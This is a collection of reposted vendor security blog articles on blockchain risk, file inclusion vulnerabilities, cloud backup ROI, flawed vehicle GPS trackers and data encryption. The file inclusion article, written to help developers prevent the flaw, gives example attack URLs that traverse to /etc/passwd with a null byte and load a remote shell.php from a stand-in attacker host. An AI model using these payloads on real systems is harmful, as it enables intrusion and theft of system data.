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Blockchain Security — The New Threat. Part 1.

A new threat is on the horizon.

And this new paradigm promises to be the most profound shift for security professionals since the dot-com boom of the nineties.

I’m talking about blockchains and decentralized economies in the 2020s

To get a sense for the scope of change in front of us, we need to take a trip down memory lane – to the advent of the internet.

During its infancy, the original internet was designed to be decentralized. With today’s tech giants looming large over every part of the internet, that’s kind of hard to believe. But it’s true. In the early days, the internet had a very practical purpose – to withstand a nuclear blast. Think about it: A network of computers all talking to each other from around the country do not have a single point of failure.

This decentralization turned to centralization as the 1990s went on. While your average internet user could, in theory, create their own webpage, most were bystanders who viewed already-made webpages instead. And while, in theory, you could still create your own email server today, the truth is that it’s a lot easier to just use Gmail. Hence the moving of the goal post ever so gradually toward centralization.

As the economy recovered from the wreckage of the dot-com boom and bust, the world embraced the internet and the economy huddled around Big Tech companies who successfully carved out their corner of the internet. Such as:

  • Microsoft and its Windows operating system.
  • Google and its search engine.
  • Facebook and its social network.

The rise of these internet startups brought with them a new threat, and online security exploded.

Before Web 2.0 – the web we use today — thousands of users and businesses logged onto the first iteration of the web, wholly unaware of the tenuous security landscape.

Early antivirus software emerged, but its signature-based system produced false positives too often to be reliable.

Malware exploded from tens of thousands in the early nineties to more than 5 million by 2007. And, by the mid-nineties, it became clear that cybersecurity was needed on a scale never seen before. This gave rise to heuristic detection to cope with the influx of new threats.

As we move into the next iteration of the web – Web3 – we are on the cusp of another generational expansion — the expansion into cryptocurrencies and the blockchain revolution. And the similarities to the dot-com boom are uncanny.

In each era, you have a new tech with limitless potential that very few folks truly understand. You have thousands of companies popping up hoping to commercialize that new tech with crazy new ideas and a ton of money flowing into the space.

Most of the dot-com startups that sprouted up in the late 1990s were bankrupt by 2003. And many of the biggest companies during the internet bubble – companies like Cisco and Intel – have, indeed, gone on to change the world. Cryptocurrencies seem to be on the same trajectory, and they will likely change the landscape over the next two decades… for better or worse.

The Promise of Blockchain and Web3

For the hardcore Web3 proponent, the third coming of the internet is strictly about decentralization. 

The internet has come a long way since its inception. We’ve gone from a static, text-based web to a dynamic, multimedia one. But as the web has evolved, so too have the threats that emerge to exploit it.

In the early days of the internet, we used simple text-based interfaces to navigate the web. This was fine for basic information retrieval, but it quickly became clear that this approach was not going to be sufficient for the increasingly complex tasks we wanted to do online.

So, we developed graphical user interfaces (GUIs), making it possible to interact with the web in a more intuitive way. With a GUI, you could point and click your way around the internet, and even manipulate data in a more natural way.

Today, we want to do more than just retrieve information or buy products – we want to be able to interact with others, create and share content, and even earn money online. And we want to do it without compromising our security.

That’s the big promise of Web3 and blockchain.

Web3 is the next evolution of the internet, one that puts users first by giving them control over their own data and identity. With Web3, you can do all the things you’re used to doing online, but without having to give up your privacy or hand over your personal data to Big Tech companies.

Instead of being controlled by a few large corporations, Web3 is powered by the collective effort of its users. And because it’s based on decentralized technologies, Web3 is more resilient to censorship and shutdowns than the current internet.

Allegedly.

To understand Web3, we need to look at blockchain.

Thanks to Bitcoin and Ethereum — two of the world’s stalwart cryptocurrencies – “blockchain” has become a household term.

When Bitcoin first came on the scene, its promise was one of pure decentralization – send money without the need for profit-grabbing middlemen at the banks and keep everyone in check with digital incentives rather than regulations.

This technology has the potential to revolutionize how we create, store, and manage data. As such, with blockchain powering the next iteration of the internet, we’re on the precipice of a new internet that is –in theory – more secure, efficient, and transparent.

Why?

Well, at its core, blockchain is a decentralized ledger. It records transactions without the need for a central authority to update it. This ledger enables innately untrustworthy individuals and entities to collectively create trustworthy systems, without the need for any central authority – hence the term “disintermediation.”

Blockchain enables humans to remove the middleman from legacy systems and replace them with a collective ledger. By removing and replacing them with an automated and incorruptible technology, we can make today’s systems and processes more trustworthy, faster, and cheaper.

The applications here are theoretically infinite.

Even Visa, the legacy payments giant, is integrating blockchain technology.

Visa’s executives are betting on decentralized finance and blockchain as the future, and as such, as a major threat to payments business. To stay ahead of the curve, Visa’s R&D teams are creating their own blockchain interoperability hub, which promises to connect different blockchain networks into a single channel. This would facilitate the transfer of digital assets between different blockchains.

These isn’t an inconsequential idea. Interoperability in the blockchain world introduces a slew of security challenges, as this idea is critical to Web3 which aims to apply the main concepts from the blockchain to all aspects of your digital identity and life.

We can’t ignore the security “gaps” within the promise of blockchain decentralization. And these gaps become will become wider as more blockchains are created and interact with one another.

We’ll explore these threats in detail in Part 2.

#vicarius_blog #blockchain

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

File Inclusion Vulnerabilities (LFI and RFI)

There are two types of File Inclusion Vulnerabilities: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

These inclusion vulnerabilities are very similar to Directory Traversal attack. I will explain more regarding the differences in the section below.

To perform this attack, the attacker needs to target an application with file saving logic and logic for retrieving files in UI. The logic for saving the file is crucial because that can be a way to access the target server files and then include it in the script from your machine. In theory, the logic for retrieving the file in UI is not crucial to perform this attack. Still, it is very important because the attacker can intercept the request, investigate, and check which information can be helpful for him to perform the attack. 

We will manipulate the parameter in URL, as we did before in one of the articles when explaining the Directory Traversal attack. 

LFI loads local files such as “etc/passwd,” but then, on the flip side, RFI can load from an external source outside the server.

*Why will you always find examples of these attacks using this plain text file “passwd”?

This file is handy cause it contains information such as the list of registered users (id, group id, home directory, etc.) And it can be accessed because it has read permission with the ability to map user ids to users’ names.

Difference between Directory Traversal and File Inclusion Vulnerabilities

In the Directory Traversal article, I gave simple examples of this attack and some prevention tricks you can use with JS, Angular, or C# libraries.

File Inclusion and Directory Traversal look very similar, but they have one huge difference: the possibility of executing files within the attack.

File inclusion vulnerabilities allow you to load and execute a file in the application. On the other hand, performing a directory traversal attack file is just reading the files.

I will give an example after in the text, but here I am just going to explain one case scenario so you can better understand:

In the application, we can browse to the file and save it. After investigating the GET request when returning the file, we see that the URL will be changed because it would contain the name of the file in it. That means we can manipulate the name and save it as a file path to a specific target file in our machine. That file can be .txt, PowerShell (.ps1), etc. The file will probably contain a script with malicious code, which will then be executed on the target server. That is an example of a Remote File Inclusion attack!

How to test if your application has File Inclusion Vulnerabilities?

It is essential to test the code while developing. In this case, the developer needs to test it by himself, not just using some of the tools I mentioned in the Directory Traversal article. Also, I think it is important to see if the attacker can access folders and files. Also, even if folders are restricted using permissions, the developer should test out if it can be easily bypassed.

Summary:

First step: While preventing this attack, you should know if your application gives you the possibility to access files (if it has file inclusion vulnerabilities)

Second step: Check if the attacker can access the file even with folder/file permissions.

Examples of Local File Inclusion

For example, we have an application that uses this input field to enter the file’s name, and by clicking on the Include button, the file will be uploaded.

When you successfully upload the file, and you preview it, the URL will change to this:

http://test.com/testController?file=test.php

The attacker starts by exploring how the code is written to understand the used logic and find information where the file is saved. 

We can start with “making a mistake” when trying to import a file because some warning or error would occur. When a warning or error occurs, that is often done by the response of an HTTP request. Each HTTP request is visible in Development Tools, and you can see the header, body, URL which hits, etc. The body is used when you send a payload; for example, this file we are trying to upload.

Then easily, you can check out the structure of the payload or what the API is expecting, so if you want to replace the structure with a malicious one, you will know how it will pass. 

*Note: You probably know that the structure of the object you are sending to API from UI needs to be the same as the object that API expects. If not, the mapping would not be successful, and you will not hit even the controller in API.

So, you first want to mistake and analyze what is returned error/warning message. 

As you can guess, we need to focus on error/warning messages.

We should try to catch all the exceptions and make them custom with some user-friendly message. With that implemented, you should avoid sending some information that would uncover sensitive information with the API. For example, which method is used, what is expected, file path, etc.

In one of the examples I found on the internet, I saw that even this message can be retrieved:

What information this warning message uncovers?

First, this is a PHP application that uses using include method. As stated on site W3Schools: “The include (or require) statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement.”

This method tries copying some file with the name hi and giving it the extension “php.” File location is also visible: “/var/www/html”.

So, as you see, this warning uncovers so much information: 

  • used method, so we know the logic of the application
  • we need to bypass adding the extension 
  • file path, so we know how many “../” we will use or how we will “walk” through the folders. You probably already guess that in this stage, we can use the Directory Traversal technique “../”.

What would the attacker use if we would like to manipulate and check out registered users in etc/passwd

http://test.com/testController?file=../../../../etc/passwd%00

%00 – null byte would be used for ignoring all characters after null byte, including extension.

If this passed successfully and passwd doesn’t have restricted permissions, the content would be readable, but if permissions are there, that is our next focus.

It is great that we didn’t forget to add permissions to files containing sensitive data, but it is very important to try to avoid permissions and see how safely we implemented them.

To test that, we could create test requests with Burp Suite or maybe use CURL, or Postman.

We should pay attention to testing credentials or cookies because sensitive data can be manipulated there.

In one of the following articles, I will cover best practices for implementing good credential and session management to avoid a problem with broken authentication. 

Examples of Remote File Inclusion

For this type of attack, we will save the file name that would be the file path to some malicious script on the attacker server.

This would be an example of a URL that targets malicious script on some domain.com site:

http://test.com/testController?file=http://domain.com/shell.php

So, this will save the path, and when the path is called, it will execute shell.php – a malicious script in which some code targets the system to extract some data. 

*Focus on validating inputs in UI, so the malicious input parameters don’t even get to the API!

Important reminder for using trusted third-party libraries for validation

If you check out the logic in libraries, you can see how to expand it to cover some specific cases for your application.

Modification can be done by creating a wrapper over the libraries class or even making some script with an extended logic.

Also, always check and upgrade the version of third-party libraries!

Conclusion

Prevention is very important to avoid these vulnerabilities, but testing is equally important.

If you are a software developer, you know that to be a good developer, you must also have developed testing skills as much as coding skills.

You should use all available tools to screen these types of vulnerabilities but remember that you should trust your knowledge the most!

Don’t forget to give the code to testers because the person writing the code can often overlook some cases. Mostly because while coding and trying to write secure code, they might assume that the attacker will attack in a certain way.

If you are a developer, the best practice is to always be familiar with new attack techniques.

In the end, secure code is the cheapest code!

#LFI #RFI #vicarius_blog

Cover photo by Kevin Ku

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

What’s the Return on Investment (ROI) of a cloud backup solution?

As organizations increasingly rely on SaaS solutions for business-critical applications, it’s becoming apparent that even the big providers eventually suffer outages. Recently, Microsoft customers suffered problems with Teams and Exchange Online. That follows an outage by Atlassian a couple months earlier. These SaaS apps are so ingrained in daily operations that they often contain the institutional knowledge critical to run the business. If you’ve ever experienced lack of access to files, messages, and other critical data, you probably are looking for a backup solution to ensure your business can keep running no matter what happens.

When evaluating a cloud backup provider, you’ll likely need to make a business case for the investment. Perhaps the solution’s features such as automated backup, high security, and an intuitive user experience look impressive, but how about the important question?

What’s the ROI? Can you provide a compelling business case to convince the stakeholders and leadership in your organization?

To understand the financial impact of backup and recovery solutions, let’s first evaluate the different costs involved.

What could be the financial impact of not backing up your cloud data?

1. Impacts of Cyberattacks

A study conducted by IT research firm ESG states that 79% of organizations had a ransomware attack within the past year. A devastating ransomware attack could leave employees unable to use core business applications for days, weeks, and even months at a time.

According to Forrester, a successful ransomware attack resulting in disruption to operations for an organization with 5,000 employees for five days would cost more than US$5 million. The same ESG study found that only 50% of the organizations were able to recover all their data in a clean and recent state.

According to Verizon’s Data Breach Investigations, large data breaches (with 100 million records or more) cost, an average of $5 million to $15.6 million and can top out at $200 million.

2. Accidental Deletions

According to ESG’s Tech Validation Report, accidental deletions result in data loss approximately 20% of the time. Verizon reports that 85% of breaches involve a human element. A single document sometimes is worth hundreds of dollars. A properly implemented cloud backup solution allows employees to restore critical data quickly and reliably, indirectly saving millions of dollars for the business.

3. SaaS Licensing Fees

Companies often must keep ex-employee user accounts active after their exit date to access user data which would otherwise be purged by the SaaS vendor. It is common for approximately 10% of employees to leave every year. This number can be much higher if organizations use a lot of temporary staff or contractors. The license fees to keep departed users active can be saved by using a cloud backup provider that retains your data for as long as you’re a customer.

4. Archiving Costs

Are you investing in data archiving repositories? Typically, organizations depend on separate archiving tools to help move inactive data into long-term storage systems. This helps optimize resources in the active system to help users quickly access data. By having a cloud backup provider – especially with unlimited storage & retention as Keepit offers – you can avoid investing in a separate archiving tool.

5. IT Administration Efficiencies

IT administrators typically spend a lot of time off-boarding employees and searching for documents that have been either intentionally or unintentionally deleted. If the time for off-boarding is reduced from an hour to a minute thanks to a backup solution, the net benefit would be thousands of dollars per year. Likewise, searching for hours to find deleted files is time-consuming and costly but with the right backup solution, IT admins can quickly search and find files in minutes.

A solid return on a critical investment

Keepit commissioned Forrester Consulting to conduct a total economic impact (TEI) study to evaluate the potential economic impact for businesses that utilize the company’s data protection services.

Based on interviews with five Keepit customers across a range of industries, Forrester generated a composite organization from which it produced a financial model that outlined three-year, risk-adjusted potential savings from utilizing Keepit. The TEI includes two categories of savings, quantifiable and unquantifiable. Forrester determined that in addition to unquantifiable savings like recovery from a ransomware attack, Keepit offers a 78% return on investment (ROI) and a net present value (NPV) of $225K. To see how a dedicated backup solution can pay for itself in just six months, download the full Forrester TEI study.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Keepit
At Keepit, we believe in a digital future where all software is delivered as a service. Keepit’s mission is to protect data in the cloud Keepit is a software company specializing in Cloud-to-Cloud data backup and recovery. Deriving from +20 year experience in building best-in-class data protection and hosting services, Keepit is pioneering the way to secure and protect cloud data at scale.

Could Hackers Drive Your Car Off a Bridge?

What if hackers took control of your car? This hypothetical has been floating around for decades as an illustrative example of what could happen when cyber attacks bleed into the physical world. The idea of being behind the wheel yet totally at the mercy of an invisible, malicious driver is terrifying to say the least. So I have some bad news: the hypothetical has become a reality.

Major Flaws Found in Popular Auto Tech

I am not the first person to observe that today’s cars are essentially computers on wheels. Highly digital and internet-connected, cars work basically like any other IT asset – except for the fact that they weigh a ton and go 100 miles per hour.

As cars have become increasingly digital, an aftermarket has developed for automotive tech that supplements the systems built into the car to increase performance, comfort, etc. GPS trackers are one example. Popular on fleet vehicles, GPS trackers record and report a vehicle’s location and, to varying degrees, control what the vehicle can do.

Cybersecurity researchers at BitSight recently evaluated one of these trackers: the MiCODUS MV720. They discovered significant security flaws. I will cover those in a second. But first, consider the potential risks of those flaws, as highlighted by the researchers:

  • Injury or loss of life
  • National security breaches
  • Property damage
  • Supply chain disruptions
  • Individual or fleet-wide ransomware
  • Surveillance and tracking

Any (or all) of these scenarios are possible because the flaws the researchers discovered allow hackers to gain administrative privileges over the trackers. Those privileges let them track vehicle locations (for who knows what nefarious purpose). Worse, these trackers give administrators the ability to disable the engine at will.

Hackers may not be able to drive the car off a bridge. But they can still cause ample chaos, put lots of lives at risk, and bring down an entire vehicle fleet all at once.

Eager to emphasize how alarming these flaws are, the researchers propose several possible exploits. Hackers could disable emergency vehicles en mass so that police and fire can’t respond. They could monitor when a vehicle is on a busy highway and cut power suddenly to cause a multi-car pileup. They could use tracking capabilities to surreptitiously spy on someone everywhere they go. Or they could disable a vehicle and demand a ransom to restore access. Unfortunately, this list barely begins to cover all that could go wrong when vehicles are a tool of cyber attacks.

Where Researchers Found Flaws

The six flaws found in the GPS trackers are worth reviewing for what they reveal about the flaws lurking in insecure connected devices (automotive or otherwise) and the tactics hackers use to exploit them:

  • Hardcoded Password – Using a master password lets unauthenticated users take control of any tracker.
  • Broker Authentication – Authentication issues let hackers exploit the API server to launch a man-in-the-middle attack.
  • Default Password – Weak default passwords (123456) combined with no prompt or requirement to change them leave devices vulnerable.
  • Reflected XSS – Taking control of a script in the victim’s browser gives the perpetrator the same data and permissions the exploited user has.
  • 2 Insecure Direct Object References – Two different flaws in the web server permit hackers to alter and access information without authentication.

Perhaps more alarming than the flaws themselves is MiCODUS’ reaction when confronted with them: complete silence. Researchers made multiple attempts to share their findings with the developer, but all of those efforts were rebuffed, so they went to the Cybersecurity and Infrastructure Security Agency (CISA), but they have also been unsuccessful at engaging the vendor.

It’s one thing to sell insecure devices. It’s another thing to ignore those flaws – especially when the consequences are so severe.

The Frightening Evolution of Cyber Risk

We can draw lots of conclusions from this incident, about the pervasive vulnerability of connected devices, about the egregious disregard of developers, and about the unforeseen consequences of digitization.

But what jumps out to me about this story is what it says about the evolution of cyber risk. This is just one of several recent examples of cyber attacks putting human health and safety in danger. The stakes in cybersecurity are suddenly much higher. And escalating faster than ever given the recent rise of ransomware and state-sponsored hacking. To me, this looks like the trajectory of cyber risk taking a sharp turn upwards and moving into unprecedented territory. Which is all to say, if the flaws in the GPS tracker seem bad, just wait until these flaws exist in every part of the built world. Will anything be safe?

I have my own complicated opinions, but I’m eager to hear yours. What do you think are the new frontiers of cyber risk? Can we make these risks manageable, and how? When will we start to see automotive cyber attacks become commonplace?

Admittedly, I don’t have good answers to all these questions. But if we aren’t asking them, we are doing the same thing as MiCODUS: turning a blind eye to a problem staring us directly in the face.

#blog #cybersecurity #automotive #IoT #CISA #vicarius_blog

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

HOW DATA ENCRYPTION CAN SAFEGUARD YOUR BUSINESS

Embracing the cloud is more than a simple infrastructure upgrade – it’s a way towards a more efficient business transformation. And while companies store their data in the clouds, the number of intruders that seek to steal data or hold it hostage is constantly growing. So, in this interview, we talked with Aivaras Vencevičius, the Head of Product at NordLocker, about how business leaders should look at cybersecurity and why data encryption is the next big thing.

 

P1033313 Edit

 

First, could you tell us a bit about yourself and what you do here at Nord Security?

Hey, my name is Aivaras, and I am the Head of Product at NordLocker. I lead the team who provides an encrypted cloud solution for anyone who wants to safely store their data and still be its original owner. I know it sounds similar to what usual cloud providers say, but, believe me, you lose control over your files the moment you upload them to the cloud. The simple truth is that many providers still have the decryption key and can access the files at any time. With NordLocker, it’s the opposite – we secure your data without the ability to see it, a.k.a zero-knowledge architecture. Together with a team of excellent Product Owners and Designers, we successfully lead the product’s vision, roadmap development, and new feature discovery.

Weakest nodes of security in business

From your experience, how likely are companies to protect their data and have a data protection policy in place? Why?

Well, this likelihood usually comes down to several different factors. First of all, it depends on the company size, the industry in which it operates, IT maturity, and more. Secondly, it’s also somewhat affected by the growing awareness of data security risks and the necessity to secure it through various data protection measures. And finally, the most impactful factor is the rising number of breaches and the fear of becoming one of the targets. As a result, companies tend to care more about their data security when they or someone close to them experience a breach. So, it’s still more “reacting to disaster” than preparing for it proactively.

In your opinion, what can cause more security breaches and damage – lack of security policy or employee carelessness? Why?

It is unquestionably both. Businesses that don’t have at least basic security policies in place often become easy prey for cybercriminals. Unfortunately, the same thing can happen due to the employee’s carelessness. A company with the most sophisticated, well-described, and thought-through security procedures can be compromised if employees keep their passwords written on sticky notes on their desks. In that case, no policy can help. Cybercriminals spend a lot of time looking for the weakest links in a company’s protection, and if there are any, it’s bound to be exploited.

Even though people are often a company’s weakest link in security, this doesn’t happen just because they are careless. Usually, our basic habits, knowledge of cyber threats, and understanding of security policies and tools differ, and we aren’t very aware of complex security measures. So to ensure that employees aren’t the cause of a breach, every business should ask itself whether it’s easy for people to use already applied security tools and what additional effort employees have to make to follow those security policies.

The growing scale of ransomware

Let’s talk a little bit about ransomware. How big of a threat to company security is it? Could you share a bit of data on that?

The truth is that nowadays, ransomware is one of the biggest and fastest-growing threats. Mainly because it causes two very harmful things for businesses – it steals sensitive data that can cause reputational damage if exposed and blocks business access to crucial data needed to run daily operations. This fear of disruption and data loss pushes company owners to pay ransoms, increasing the attackers’ desire to carry out even larger operations. In fact, in 2021 alone, ransomware attacks rose to 1,000 per day, mostly targeting industries such as construction, manufacturing, finance, and others. So no business is safe from ransomware and other types of malware unless they do data encryption to protect against these threats.

What is the more attractive target for cybercriminals – confidential business information or employee information?

At the end of an attack, attackers typically seek to gain access to confidential company information, which is the ‘highest tier’ in data value scales. However, this data is usually the most protected from hackers. So, this is where employee information comes into play: breaching employee data can lead attackers further and provide them with access to more important corporate data. Simply put, stealing employees’ information could be the start of a very complex and harmful data breach.

Evaluating the risks

Does the size of a company directly impact the effectiveness of its cybersecurity policy? Why? How should a company solve such a problem?

Well, the company size doesn’t necessarily affect the effectiveness of cybersecurity. Larger companies may seem more resilient to cyber-attacks because they have more resources and a greater number of dedicated IT specialists who can examine the company’s cybersecurity ecosystem. However, this is not the case. They may have much more flaws, and it is far more difficult to oversee the training and safety of thousands of people rather than 10 or 20. On the other hand, small businesses cannot dedicate large budgets to cybersecurity and employ IT security professionals. However, being small, they are less likely to attract the attention of criminals. Nevertheless, there is always a risk. So, no matter how big or small the company is, all businesses should think about potential cybersecurity dangers regularly.

Usually, a ‘what-if’ scenario helps to evaluate the scale of risk:

  1. What if your business gets attacked?

  2. How difficult would it be to continue business operations?

  3. What are the costs of a potential loss of data?

  4. What appropriate resources and attention should be dedicated to cybersecurity?

Practical tips to ensure your data is safe

How important is it to encrypt corporate information? How effective are NordLocker’s algorithms used to encrypt the company’s data?

Data encryption is one of the safest ways to protect corporate information from cyberattacks. Even if a file is stolen, the content is encrypted and cannot be accessed by anyone else. And this is where our NordLocker product succeeds – it combines data encryption with secure cloud storage and backup. So, in the event of a ransomware attack, the company’s data is protected and cannot be taken hostage, while the backups provide business continuity.

From your point of view – what steps should a company take to protect its information? What advice would you give to them?

  1. First of all, a company should treat cybersecurity as a continuous business activity by making sure they are aware of the latest cyber threats. It is important to keep in mind that there is no one perfect solution or tool that could protect against all threats.

  2. The second step is to identify possible dangers and weak areas in your firm. Once you find thems, make sure you implement the best security measures to strengthen your company’s vulnerabilities.

  3. Finally, keep in mind that even the most modern security policies and tools may be considered worthless if the company’s employees do not naturally apply them. Using security tools that are simple to deploy and easy to use by employees with different technical knowledge can help make their daily routines much safer.

Thus, it is important to maintain a holistic approach and use a wide range of security tools that are easy to use and do not stand in the user’s way. It will help build a security net over the business and make it more resilient to ever-increasing cyber threats.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Nord Security
The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.